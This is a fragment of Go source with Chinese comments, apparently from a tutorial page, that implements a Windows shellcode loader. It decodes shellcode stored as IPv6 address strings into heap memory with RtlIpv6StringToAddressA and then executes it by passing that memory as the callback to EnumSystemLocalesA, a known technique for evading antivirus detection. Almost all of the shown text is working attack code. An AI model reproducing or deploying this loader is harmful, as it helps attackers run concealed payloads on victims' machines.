    memory, _, _ := heapAlloc.Call(  
       heapHandle,  
       0,  
       memorySize,  
    )  
    defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)  
  
    // 转换ipv6地址到内存  
    hap := memory  
    for _, ipv6str := range IPv6Code {  
       ipv6Bytes := []byte(ipv6str)  
       terminator := uintptr(0)  
  
       status, _, _ := rtlIpv6StringToAddressA.Call(  
          uintptr(unsafe.Pointer(&ipv6Bytes[0])),  
          uintptr(unsafe.Pointer(&terminator)),  
          hap,  
       )  
  
       if status != 0 { // STATUS_SUCCESS  
          return  
       }  
  
       hap += 16  
    }  
  
    // 执行Shellcode  
    enumSystemLocalesA.Call(  
       memory, // 作为回调函数地址  
       0,      // 默认标志  
    )  
}

Last updated